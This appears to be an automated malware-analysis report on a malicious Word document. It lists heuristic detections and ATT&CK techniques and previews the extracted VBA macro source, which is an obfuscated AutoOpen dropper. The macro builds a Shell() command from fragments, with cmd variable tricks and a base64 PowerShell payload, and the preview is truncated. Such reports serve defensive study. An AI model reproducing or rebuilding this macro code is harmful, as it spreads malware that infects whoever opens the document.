MALICIOUS
242
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1566.001 Spearphishing Attachment
The sample contains VBA macros, including an AutoOpen macro, which is designed to execute automatically when the document is opened. The AutoOpen macro calls a function that uses the Shell() command to execute a string. This string appears to be constructed from concatenated parts, ultimately forming a command that likely downloads and executes a second-stage payload. The ClamAV detection 'Doc.Dropper.Agent-6574376-0' further supports the dropper functionality.
Heuristics 7
-
ClamAV: Doc.Dropper.Agent-6574376-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6574376-0
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 11820 bytes |
SHA-256: 0ed71aa3aeb416a323a30d3dc5addba5d693f2eaffaa2f2d6999acae078d4290 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "roBZfBzD" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Function GYFDfAjlV() On Error Resume Next RvjICM = Hex(MsFzQY + Hex(qsOiM) * 35657 + Round(diXQB)) fCwZw = Cos(dnPGoJ) lrJOc = CDate(bTpvs) zlVnNM = Cos(BwRKvj) Zuibm = Hex(UzjiU + Hex(usZuq) * 12185 + Round(izFIz)) tvHQT = Cos(Nhazjl) ISazE = CDate(TuSzcE) ErCDUm = Cos(asiMhN) GYFDfAjlV = lCVRBS + Shell(ZHsZMrUqPdf + Chr(ZlUiaWjAPAQ + vbKeyC + RwvnzTME) + RrwQa + DLTnj + ckzCXC + HPIHIHtXs + uHEUtTRFiG + AVrOKuzBw + QaEPPaY, 7104 - 7104) GlTvsJ = Hex(zlDzBR + Hex(HbvfLs) * 53484 + Round(fXduC)) QoNSrt = Cos(IwEju) HGwETU = CDate(TQjhV) VlGwS = Cos(Hphwqh) End Function Sub Autoopen() On Error Resume Next XSwdq = Hex(RuUOhS + Hex(ZzUzF) * 62488 + Round(WXbCBm)) nIaKIX = Cos(zkUns) EaBWYd = CDate(YIVhr) knzqw = Cos(ELdluE) GYFDfAjlV vAcOz = Hex(NvrwW + Hex(dYiMf) * 76223 + Round(SzmWzt)) MnZbo = Cos(RAiHv) VWiNtq = CDate(lTDZwz) CmZJif = Cos(bzZWQ) End Sub Attribute VB_Name = "PncqXQmS" Function RrwQa() On Error Resume Next aJXFLI = Hex(cANuXw + Hex(FwQqkl) * 63503 + Round(ZOkdbf)) LsnCV = Cos(XXfFK) HjSdz = CDate(mzFpR) bCljJ = Cos(hhzSp) AKvGHmRa = "md ad" + "JwCAqpXtmlDk " + "LSFzT" + "IKSAaMRzjQ" + "vfv" HUdWh = Hex(lkaMZ + Hex(HkmEo) * 61942 + Round(VbSaS)) nOKYdZ = Cos(qzWdwP) jEjuP = CDate(ccYids) NUspt = Cos(mtKaM) vwRnzn = "GGOUTPKSq C" + "NjvY" + "qGAsM &" + " %" + "^c^o^m^S^p^E^c" + "^% %^c^o^m" mkSJOJ = Hex(ZOYRu + Hex(LqHLp) * 53279 + Round(kGbWEh)) ldYWdU = Cos(drKSJZ) TEoCw = CDate(iUiiU) RMfJwF = Cos(ZVvqBn) ijHsJlZ = "^S^p^E^c^% " + " /V " + "/c " + " set %qPKI" + "YpjqurcqFI" + "i%=zw" + "ljJpUwwNcW&&s" Ziwztj = Hex(YRBmT + Hex(PBRzp) * 4467 + Round(DlziON)) AzYOnP = Cos(sAWhp) wsuiWd = CDate(SYEwAz) XokPj = Cos(EBYtmz) diLjIcz = "et %WiJIA" + "Sm" + "wj%=p" + "&&set " + "%rzzonfl%=o" + "^w" + "&&set %" + "bFZPCSF" + "qvFwdjTY%=" RrwQa = AKvGHmRa + vwRnzn + ijHsJlZ + diLjIcz End Function Function DLTnj() On Error Resume Next iXAuR = Hex(OiKqS + Hex(kOJcv) * 53761 + Round(oHADP)) wJjvT = Cos(rWZQu) Jizla = CDate(zRDwR) ZdRYLw = Cos(TloSri) aKRmZGt = "sLHbRrtIPJDAvO&" + "&set" + " %Cvri" + "Ovkwj%=!%" qqbpLz = Hex(ElzOD + Hex(oGzDAr) * 79835 + Round(qjSLd)) bmVLIG = Cos(WHqNmU) UsUKIP = CDate(NnkSzo) AHJii = Cos(nSPlG) CzWNb = "WiJIASm" + "wj" + "%!&&s" + "et %KKM" + "NPoSNnm" + "DnmrC%=D" + "pQVEmFB&&s" + "et %b" + "QVBsmtzW" + "u%=e^r&&set %" tRwHpN = Hex(JAzOI + Hex(OqNzk) * 86853 + Round(SVWAh)) EGsCdi = Cos(LVbPf) EciQCs = CDate(bTXZT) swiYvz = Cos(GJQRwU) ikSJL = "LhHAPz" + "JzXBwC%=!%rzzo" + "nfl" + "%!&&set %UIG" + "wQEcwdW" + "%=" + "s&" + "&set %FkMRAtPEv" + "hvlRSE%=jfXUYd" + "EBG" ErsOwU = Hex(ofnFTI + Hex(IkiSjw) * 81023 + Round(hzjRE)) vMNShM = Cos(jbJbzo) SrSbp = CDate(wYizPV) zKvhhP = Cos(sTZmm) vvrAHnAS = "HFN" + "&&set %QLDUkvvi" + "%=he&&set %DvLJ" + "jtVqX%=ll&&!%" + "CvriOvkwj%!!%L" + "hHA" + "PzJz" + "XBwC%" + "!!%bQVBsmtz" + "Wu" kYJYrk = Hex(lmqiF + Hex(KqXdOD) * 23700 + Round(wZfct)) nLzRjp = Cos(KZOJHi) DMTRb = CDate(FKVpL) ZZnzdw = Cos(AWanZw) hDYSir = "%!!%U" + "IGwQE" + "cwdW%!!%QLDUkvv" + "i%!!%Dv" + "LJjtVqX%" + "! -e IAAuAC" + "AAKAAgACgAW" + "wBT" + "AHQAUgBp" + "AE4A" hAQIT = Hex(YASkF + Hex(Aoicq) * 18758 + Round(wPUWa)) NKdodZ = Cos(SLYFtM) FLYGC = CDate(PwJWtj) TBBMdq = Cos(GvuLp) jwspmz = "ZwBdACQAdgB" + "lAFIAQgBv" + "AF" + "MAZQ" + "BQAFIAZQBmAGUAU" + "gBFAG4A" + "YwBlACkAWw" LvoQY = Hex(inzlqO + Hex(hVRBH) * 90511 + Round(vaQKLc)) oPJQM = Cos(rhTHt) KFpUQK = CDate(IJBpun) vPkfi = Cos(wfpXq) QzRFAKwGPuP = "AxACwA" + "Mw" + "BdACsA" + "JwB4ACcAL" + "QB" + "KAE8AS" + "QBuAC" dzdzC = Hex(IJkoF + Hex(AzNTt) * 74415 + Round(PcvVbw)) coBiPS = Cos(vjAfKw) mijHKi = CDate(frdmDw) shbCCP = Cos(TIFYnc) vmOzKS = "cAJwApA" + "CAAKAAgA" + "E4" + "ARQBXAC" + "0AbwBiAEo" + "AZQBD" + " ... (truncated) |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.